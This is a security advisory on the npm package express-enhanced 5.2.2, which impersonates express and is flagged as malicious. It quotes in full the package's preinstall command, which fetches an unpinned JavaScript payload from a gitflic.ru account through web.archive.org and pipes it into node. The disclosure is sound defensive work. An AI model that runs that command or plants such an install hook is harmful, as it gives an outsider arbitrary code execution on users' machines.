express-enhanced

GHSA-qj2f-36rw-2gvm

Malicious code in express-enhanced (npm)

Details

**Severity:** Critical

**Affected versions:** `= 5.2.2`

## Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6)
[email protected] impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/express-enhanced/MAL-2026-17489.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/express-enhanced/MAL-2026-17489.json
- https://www.npmjs.com/package/express-enhanced/v/5.2.2
- https://github.com/advisories/GHSA-qj2f-36rw-2gvm

Compromised versions (1)

= 5.2.2

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.